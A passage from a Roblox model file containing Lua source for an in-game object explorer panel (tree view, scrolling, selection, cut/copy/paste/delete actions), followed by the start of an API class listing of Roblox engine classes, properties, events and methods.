							dragReparent(node.Object,entry:Clone(),pos,entry.AbsolutePosition-pos)
						elseif Option.Selectable then
							if Selection.Selected[node.Object] then
								Selection:Set({})
							else
								Selection:Set({node.Object})
							end
							dragSelect(i+self.ScrollIndex,true,&apos;MouseButton1Up&apos;)
						end
					end)

					entry.MouseButton2Down:connect(function()
						if not Option.Selectable then return end

						local node = TreeList[i + self.ScrollIndex]
						if Selection.Selected[node.Object] then
							Selection:Remove(node.Object)
							dragSelect(i+self.ScrollIndex,false,&apos;MouseButton2Up&apos;)
						else
							Selection:Add(node.Object)
							dragSelect(i+self.ScrollIndex,true,&apos;MouseButton2Up&apos;)
						end
					end)

					entry.Parent = listFrame
				end

				entry.Visible = true

				local object = node.Object

				-- update expand icon
				if #node == 0 then
					entry.IndentFrame.Expand.Visible = false
				elseif node.Expanded then
					Icon(entry.IndentFrame.Expand,NODE_EXPANDED)
					entry.IndentFrame.Expand.Visible = true
				else
					Icon(entry.IndentFrame.Expand,NODE_COLLAPSED)
					entry.IndentFrame.Expand.Visible = true
				end

				-- update explorer icon
				Icon(entry.IndentFrame.ExplorerIcon,ExplorerIndex[object.ClassName] or 0)

				-- update indentation
				local w = (node.Depth)*(2+ENTRY_PADDING+GUI_SIZE)
				entry.IndentFrame.Position = UDim2.new(0,w,0,0)
				entry.IndentFrame.Size = UDim2.new(1,-w,1,0)

				-- update name change detection
				if nameConnLookup[entry] then
					nameConnLookup[entry]:disconnect()
				end
				local text = entry.IndentFrame.EntryText
				text.Text = object.Name
				nameConnLookup[entry] = node.Object.Changed:connect(function(p)
					if p == &apos;Name&apos; then
						text.Text = object.Name
					end
				end)

				-- update selection
				entry.IndentFrame.Transparency = node.Selected and 0 or 1
				text.TextColor3 = GuiColor[node.Selected and &apos;TextSelected&apos; or &apos;Text&apos;]

				entry.Size = UDim2.new(0,nodeWidth,0,ENTRY_SIZE)
			elseif listEntries[i] then
				listEntries[i].Visible = false
			end
		end
		for i = self.VisibleSpace+1,self.TotalSpace do
			local entry = listEntries[i]
			if entry then
				listEntries[i] = nil
				entry:Destroy()
			end
		end
	end

	function scrollBarH.UpdateCallback(self)
		for i = 1,scrollBar.VisibleSpace do
			local node = TreeList[i + scrollBar.ScrollIndex]
			if node then
				local entry = listEntries[i]
				if entry then
					entry.Position = UDim2.new(0,2 - scrollBarH.ScrollIndex,0,ENTRY_BOUND*(i-1)+2)
				end
			end
		end
	end

	Connect(listFrame.Changed,function(p)
		if p == &apos;AbsoluteSize&apos; then
			rawUpdateSize()
		end
	end)

	local wheelAmount = 6
	explorerPanel.MouseWheelForward:connect(function()
		if scrollBar.VisibleSpace - 1 &gt; wheelAmount then
			scrollBar:ScrollTo(scrollBar.ScrollIndex - wheelAmount)
		else
			scrollBar:ScrollTo(scrollBar.ScrollIndex - scrollBar.VisibleSpace)
		end
	end)
	explorerPanel.MouseWheelBackward:connect(function()
		if scrollBar.VisibleSpace - 1 &gt; wheelAmount then
			scrollBar:ScrollTo(scrollBar.ScrollIndex + wheelAmount)
		else
			scrollBar:ScrollTo(scrollBar.ScrollIndex + scrollBar.VisibleSpace)
		end
	end)
end

----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- Object detection

-- Inserts `v` into `t` at `i`. Also sets `Index` field in `v`.
local function insert(t,i,v)
	for n = #t,i,-1 do
		local v = t[n]
		v.Index = n+1
		t[n+1] = v
	end
	v.Index = i
	t[i] = v
end

-- Removes `i` from `t`. Also sets `Index` field in removed value.
local function remove(t,i)
	local v = t[i]
	for n = i+1,#t do
		local v = t[n]
		v.Index = n-1
		t[n-1] = v
	end
	t[#t] = nil
	v.Index = 0
	return v
end

-- Returns how deep `o` is in the tree.
local function depth(o)
	local d = -1
	while o do
		o = o.Parent
		d = d + 1
	end
	return d
end


local connLookup = {}

-- Returns whether a node would be present in the tree list
local function nodeIsVisible(node)
	local visible = true
	node = node.Parent
	while node and visible do
		visible = visible and node.Expanded
		node = node.Parent
	end
	return visible
end

-- Removes an object&apos;s tree node. Called when the object stops existing in the
-- game tree.
local function removeObject(object)
	local objectNode = NodeLookup[object]
	if not objectNode then
		return
	end

	local visible = nodeIsVisible(objectNode)

	Selection:Remove(object,true)

	local parent = objectNode.Parent
	remove(parent,objectNode.Index)
	NodeLookup[object] = nil
	connLookup[object]:disconnect()
	connLookup[object] = nil

	if visible then
		updateList()
	elseif nodeIsVisible(parent) then
		updateScroll()
	end
end

-- Moves a tree node to a new parent. Called when an existing object&apos;s parent
-- changes.
local function moveObject(object,parent)
	local objectNode = NodeLookup[object]
	if not objectNode then
		return
	end

	local parentNode = NodeLookup[parent]
	if not parentNode then
		return
	end

	local visible = nodeIsVisible(objectNode)

	remove(objectNode.Parent,objectNode.Index)
	objectNode.Parent = parentNode

	objectNode.Depth = depth(object)
	local function r(node,d)
		for i = 1,#node do
			node[i].Depth = d
			r(node[i],d+1)
		end
	end
	r(objectNode,objectNode.Depth+1)

	insert(parentNode,#parentNode+1,objectNode)

	if visible or nodeIsVisible(objectNode) then
		updateList()
	elseif nodeIsVisible(objectNode.Parent) then
		updateScroll()
	end
end

-- ScriptContext[&apos;/Libraries/LibraryRegistration/LibraryRegistration&apos;]
-- This RobloxLocked object lets me index its properties for some reason

local function check(object)
	return object.AncestryChanged
end

-- Creates a new tree node from an object. Called when an object starts
-- existing in the game tree.
local function addObject(object,noupdate)
	if script then
		-- protect against naughty RobloxLocked objects
		local s = pcall(check,object)
		if not s then
			return
		end
	end

	local parentNode = NodeLookup[object.Parent]
	if not parentNode then
		return
	end

	local objectNode = {
		Object = object;
		Parent = parentNode;
		Index = 0;
		Expanded = false;
		Selected = false;
		Depth = depth(object);
	}

	connLookup[object] = Connect(object.AncestryChanged,function(c,p)
		if c == object then
			if p == nil then
				removeObject(c)
			else
				moveObject(c,p)
			end
		end
	end)

	NodeLookup[object] = objectNode
	insert(parentNode,#parentNode+1,objectNode)

	if not noupdate then
		if nodeIsVisible(objectNode) then
			updateList()
		elseif nodeIsVisible(objectNode.Parent) then
			updateScroll()
		end
	end
end

do
	NodeLookup[Game] = {
		Object = Game;
		Parent = nil;
		Index = 0;
		Expanded = true;
	}

	Connect(Game.DescendantAdded,addObject)
	Connect(Game.DescendantRemoving,removeObject)

	local function get(o)
		return o:GetChildren()
	end

	local function r(o)
		local s,children = pcall(get,o)
		if s then
			for i = 1,#children do
				addObject(children[i],true)
				r(children[i])
			end
		end
	end

	r(Game)

	scrollBar.VisibleSpace = math.ceil(listFrame.AbsoluteSize.y/ENTRY_BOUND)
	updateList()
end

----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- Actions

local actionButtons do
	actionButtons = {}

	local totalActions = (4) + 1
	local currentActions = totalActions
	local function makeButton(icon,over,name)
		local button = Create(Icon(&apos;ImageButton&apos;,icon),{
			Name = name .. &quot;Button&quot;;
			Visible = Option.Modifiable and Option.Selectable;
			Position = UDim2.new(1,-(GUI_SIZE+2)*currentActions+2,0.5,-GUI_SIZE/2);
			Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE);
			Parent = headerFrame;
		})

		local tipText = Create(&apos;TextLabel&apos;,{
			Name = name .. &quot;Text&quot;;
			Text = name;
			Visible = false;
			BackgroundTransparency = 1;
			TextXAlignment = &apos;Right&apos;;
			Font = FONT;
			FontSize = FONT_SIZE;
			Position = UDim2.new(0,0,0,0);
			Size = UDim2.new(1,-(GUI_SIZE+2)*totalActions,1,0);
			Parent = headerFrame;
		})


		button.MouseEnter:connect(function()
			Icon(button,over)
			tipText.Visible = true
		end)
		button.MouseLeave:connect(function()
			Icon(button,icon)
			tipText.Visible = false
		end)

		currentActions = currentActions - 1
		actionButtons[#actionButtons+1] = button
		return button
	end

	local clipboard = {}
	local function delete(o)
		o.Parent = nil
	end

	-- CUT
	makeButton(ACTION_CUT,ACTION_CUT_OVER,&quot;Cut&quot;).MouseButton1Click:connect(function()
		if not Option.Modifiable then return end
		clipboard = {}
		local list = Selection.List
		local cut = {}
		for i = 1,#list do
			local obj = list[i]:Clone()
			if obj then
				table.insert(clipboard,obj)
				table.insert(cut,list[i])
			end
		end
		for i = 1,#cut do
			pcall(delete,cut[i])
		end
	end)

	-- COPY
	makeButton(ACTION_COPY,ACTION_COPY_OVER,&quot;Copy&quot;).MouseButton1Click:connect(function()
		if not Option.Modifiable then return end
		clipboard = {}
		local list = Selection.List
		for i = 1,#list do
			table.insert(clipboard,list[i]:Clone())
		end
	end)

	-- PASTE
	makeButton(ACTION_PASTE,ACTION_PASTE_OVER,&quot;Paste&quot;).MouseButton1Click:connect(function()
		if not Option.Modifiable then return end
		local parent = Selection.List[1] or Workspace
		for i = 1,#clipboard do
			clipboard[i]:Clone().Parent = parent
		end
	end)

	-- DELETE
	makeButton(ACTION_DELETE,ACTION_DELETE_OVER,&quot;Delete&quot;).MouseButton1Click:connect(function()
		if not Option.Modifiable then return end
		local list = Selection:Get()
		for i = 1,#list do
			pcall(delete,list[i])
		end
		Selection:Set({})
	end)

	-- SORT
	-- local actionSort = makeButton(ACTION_SORT,ACTION_SORT_OVER,&quot;Sort&quot;)
end

----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- Option Bindables

do
	local optionCallback = {
		Modifiable = function(value)
			for i = 1,#actionButtons do
				actionButtons[i].Visible = value and Option.Selectable
			end
			cancelReparentDrag()
		end;
		Selectable = function(value)
			for i = 1,#actionButtons do
				actionButtons[i].Visible = value and Option.Modifiable
			end
			cancelSelectDrag()
			Selection:Set({})
		end;
	}

	local bindSetOption = script.Parent:FindFirstChild(&quot;SetOption&quot;)
	if not bindSetOption then
		bindSetOption = Create(&apos;BindableFunction&apos;,{Name = &quot;SetOption&quot;})
		bindSetOption.Parent = script.Parent
	end

	bindSetOption.OnInvoke = function(optionName,value)
		if optionCallback[optionName] then
			Option[optionName] = value
			optionCallback[optionName](value)
		end
	end

	local bindGetOption = script.Parent:FindFirstChild(&quot;GetOption&quot;)
	if not bindGetOption then
		bindGetOption = Create(&apos;BindableFunction&apos;,{Name = &quot;GetOption&quot;})
		bindGetOption.Parent = script.Parent
	end

	bindGetOption.OnInvoke = function(optionName)
		if optionName then
			return Option[optionName]
		else
			local options = {}
			for k,v in pairs(Option) do
				options[k] = v
			end
			return options
		end
	end
end
</ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="LocalScript" referent="RBX64">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">true</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">LocalScript</string>
						<ProtectedString name="Source">local lib = {}

lib.Classes = {
 ShirtGraphic = {
 Inherits = &quot;CharacterAppearance&quot;,
 Events = {
 },
 ClassName = &quot;ShirtGraphic&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Graphic&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 BevelMesh = {
 Inherits = &quot;DataModelMesh&quot;,
 deprecated = true,
 Events = {
 },
 ClassName = &quot;BevelMesh&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 NetworkSettings = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;NetworkSettings&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;ArePhysicsRejectionsReported&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;CanSendPacketBufferLimit&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;DataMtuAdjust&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;PacketPriority&quot;,
 Name = &quot;DataSendPriority&quot;,
 hidden = true
 },
 {
 Name = &quot;DataSendRate&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;ExperimentalPhysicsEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IncommingReplicationLag&quot;,
 Type = &quot;double&quot;
 },
 {
 Name = &quot;IsQueueErrorComputed&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsThrottledByCongestionControl&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsThrottledByOutgoingBandwidthLimit&quot;,
 Type = &quot;bool&quot;
 },
 {
 deprecated = true,
 Type = &quot;int&quot;,
 Name = &quot;MaxDataModelSendBuffer&quot;
 },
 {
 Name = &quot;NetworkOwnerRate&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;PhysicsMtuAdjust&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;PhysicsReceive&quot;,
 Type = &quot;PhysicsReceiveMethod&quot;
 },
 {
 Name = &quot;PhysicsSend&quot;,
 Type = &quot;PhysicsSendMethod&quot;
 },
 {
 Type = &quot;PacketPriority&quot;,
 Name = &quot;PhysicsSendPriority&quot;,
 hidden = true
 },
 {
 Name = &quot;PhysicsSendRate&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;PreferredClientPort&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;PrintEvents&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;PrintInstances&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;PrintPhysicsErrors&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;PrintProperties&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;PrintSplitMessage&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;PrintTouches&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ReceiveRate&quot;,
 Type = &quot;double&quot;
 },
 {
 deprecated = true,
 Type = &quot;string&quot;,
 Name = &quot;ReportStatURL&quot;,
 hidden = true
 },
 {
 Name = &quot;SendPacketBufferLimit&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;TouchSendRate&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TrackDataTypes&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;UseInstancePacketCache&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;UsePhysicsPacketCache&quot;,
 Type = &quot;bool&quot;
 },
 {
 deprecated = true,
 Type = &quot;int&quot;,
 Name = &quot;WaitingForCharacterLogRate&quot;,
 hidden = true
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 BrickColorValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;BrickColor&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;BrickColor&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;BrickColorValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;BrickColor&quot;
 }
 },
 Methods = {
 }
 },
 Accoutrement = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Accoutrement&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AttachmentForward&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;AttachmentPoint&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;AttachmentPos&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;AttachmentRight&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;AttachmentUp&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 CharacterAppearance = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;CharacterAppearance&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 GuiMain = {
 Inherits = &quot;ScreenGui&quot;,
 Events = {
 },
 ClassName = &quot;GuiMain&quot;,
 Callbacks = {
 },
 Properties = {
 },
 deprecated = true,
 Methods = {
 }
 },
 SelectionLasso = {
 Inherits = &quot;GuiBase3d&quot;,
 Events = {
 },
 ClassName = &quot;SelectionLasso&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Humanoid&quot;,
 Type = &quot;Object&quot;
 }
 },
 Methods = {
 }
 },
 HumanoidController = {
 Inherits = &quot;Controller&quot;,
 Events = {
 },
 ClassName = &quot;HumanoidController&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 MeshContentProvider = {
 Inherits = &quot;CacheableContentProvider&quot;,
 Events = {
 },
 ClassName = &quot;MeshContentProvider&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Handles = {
 Inherits = &quot;HandlesBase&quot;,
 Events = {
 {
 Name = &quot;MouseButton1Down&quot;,
 Arguments = {
 {
 Name = &quot;face&quot;,
 Type = &quot;NormalId&quot;
 }
 }
 },
 {
 Name = &quot;MouseButton1Up&quot;,
 Arguments = {
 {
 Name = &quot;face&quot;,
 Type = &quot;NormalId&quot;
 }
 }
 },
 {
 Name = &quot;MouseDrag&quot;,
 Arguments = {
 {
 Name = &quot;face&quot;,
 Type = &quot;NormalId&quot;
 },
 {
 Name = &quot;distance&quot;,
 Type = &quot;float&quot;
 }
 }
 },
 {
 Name = &quot;MouseEnter&quot;,
 Arguments = {
 {
 Name = &quot;face&quot;,
 Type = &quot;NormalId&quot;
 }
 }
 },
 {
 Name = &quot;MouseLeave&quot;,
 Arguments = {
 {
 Name = &quot;face&quot;,
 Type = &quot;NormalId&quot;
 }
 }
 }
 },
 ClassName = &quot;Handles&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Faces&quot;,
 Type = &quot;Faces&quot;
 },
 {
 Name = &quot;Style&quot;,
 Type = &quot;HandlesStyle&quot;
 }
 },
 Methods = {
 }
 },
 ReflectionMetadataClasses = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataClasses&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Stats = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Stats&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;double&quot;,
 Name = &quot;MinReportInterval&quot;,
 RobloxScriptSecurity = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;ReporterType&quot;,
 RobloxScriptSecurity = true
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;category&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;data&quot;,
 Type = &quot;Dictionary&quot;
 }
 },
 Name = &quot;Report&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ReportJobsStepWindow&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;includeJobs&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;ReportTaskScheduler&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetReportUrl&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 Hole = {
 Inherits = &quot;Feature&quot;,
 Events = {
 },
 ClassName = &quot;Hole&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Smoke = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Smoke&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Color&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;Enabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Opacity&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;RiseVelocity&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Size&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 LocalWorkspace = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;LocalWorkspace&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 KeyframeSequenceProvider = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;KeyframeSequenceProvider&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;assetId&quot;,
 Type = &quot;Content&quot;
 }
 },
 Name = &quot;GetKeyframeSequence&quot;
 },
 {
 ReturnType = &quot;Content&quot;,
 Arguments = {
 {
 Name = &quot;keyframeSequence&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RegisterActiveKeyframeSequence&quot;
 },
 {
 ReturnType = &quot;Content&quot;,
 Arguments = {
 {
 Name = &quot;keyframeSequence&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RegisterKeyframeSequence&quot;
 }
 }
 },
 TimerService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;TimerService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 CFrameValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;CoordinateFrame&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;CoordinateFrame&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;CFrameValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;CoordinateFrame&quot;
 }
 },
 Methods = {
 }
 },
 TextureTrail = {
 Inherits = &quot;GuiBase3d&quot;,
 Events = {
 },
 ClassName = &quot;TextureTrail&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;float&quot;,
 Name = &quot;CycleOffset&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Type = &quot;Object&quot;,
 Name = &quot;From&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;StudsBetweenTextures&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Type = &quot;Content&quot;,
 Name = &quot;Texture&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Type = &quot;Vector2&quot;,
 Name = &quot;TextureSize&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Type = &quot;Object&quot;,
 Name = &quot;To&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;Velocity&quot;,
 RobloxPlaceSecurity = true
 }
 },
 Methods = {
 }
 },
 ImageLabel = {
 Inherits = &quot;GuiLabel&quot;,
 Events = {
 },
 ClassName = &quot;ImageLabel&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Image&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 PointLight = {
 Inherits = &quot;Light&quot;,
 Events = {
 },
 ClassName = &quot;PointLight&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Range&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 DoubleConstrainedValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;double&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;DoubleConstrainedValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;double&quot;,
 Name = &quot;ConstrainedValue&quot;,
 hidden = true
 },
 {
 Name = &quot;MaxValue&quot;,
 Type = &quot;double&quot;
 },
 {
 Name = &quot;MinValue&quot;,
 Type = &quot;double&quot;
 },
 {
 Name = &quot;Value&quot;,
 Type = &quot;double&quot;
 }
 },
 Methods = {
 }
 },
 RocketPropulsion = {
 Inherits = &quot;BodyMover&quot;,
 Events = {
 {
 Name = &quot;ReachedTarget&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;RocketPropulsion&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CartoonFactor&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;MaxSpeed&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;MaxThrust&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;MaxTorque&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;Target&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;TargetOffset&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;TargetRadius&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;ThrustD&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;ThrustP&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TurnD&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TurnP&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Abort&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Fire&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;fire&quot;,
 deprecated = true
 }
 }
 },
 ReflectionMetadataClass = {
 Inherits = &quot;ReflectionMetadataItem&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataClass&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;ExplorerImageIndex&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;ExplorerOrder&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;PreferredParent&quot;,
 Type = &quot;string&quot;
 }
 },
 Methods = {
 }
 },
 ReflectionMetadataEvents = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataEvents&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 SpotLight = {
 Inherits = &quot;Light&quot;,
 Events = {
 },
 ClassName = &quot;SpotLight&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Angle&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Range&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 ButtonBindingWidget = {
 Inherits = &quot;GuiItem&quot;,
 Events = {
 },
 ClassName = &quot;ButtonBindingWidget&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 DataModel = {
 Inherits = &quot;ServiceProvider&quot;,
 Events = {
 {
 Name = &quot;AllowedGearTypeChanged&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;GraphicsQualityChangeRequest&quot;,
 Arguments = {
 {
 Name = &quot;betterQuality&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;ItemChanged&quot;,
 Arguments = {
 {
 Name = &quot;object&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;descriptor&quot;,
 Type = &quot;Property&quot;
 }
 }
 },
 {
 Name = &quot;Loaded&quot;,
 Arguments = {
 }
 },
 {
 Arguments = {
 {
 Name = &quot;succeeded&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;errorString&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SavePlaceFinished&quot;,
 RobloxPlaceSecurity = true
 }
 },
 ClassName = &quot;DataModel&quot;,
 Callbacks = {
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;RequestShutdown&quot;,
 RobloxScriptSecurity = true
 }
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;CreatorId&quot;,
 readonly = true
 },
 {
 Type = &quot;CreatorType&quot;,
 Name = &quot;CreatorType&quot;,
 readonly = true
 },
 {
 Type = &quot;GearGenreSetting&quot;,
 Name = &quot;GearGenreSetting&quot;,
 readonly = true
 },
 {
 Type = &quot;Genre&quot;,
 Name = &quot;Genre&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;IsPersonalServer&quot;,
 RobloxScriptSecurity = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;JobId&quot;,
 readonly = true
 },
 {
 RobloxScriptSecurity = true,
 Type = &quot;bool&quot;,
 Name = &quot;LocalSaveEnabled&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;PlaceId&quot;,
 readonly = true
 },
 {
 Type = &quot;Object&quot;,
 Name = &quot;Workspace&quot;,
 readonly = true
 },
 {
 deprecated = true,
 Type = &quot;Object&quot;,
 Name = &quot;lighting&quot;,
 readonly = true
 },
 {
 deprecated = true,
 Type = &quot;Object&quot;,
 Name = &quot;workspace&quot;,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;displayName&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;stat&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;AddStat&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;resettingSimulation&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;ClearContent&quot;,
 LocalUserSecurity = true
 },
 {
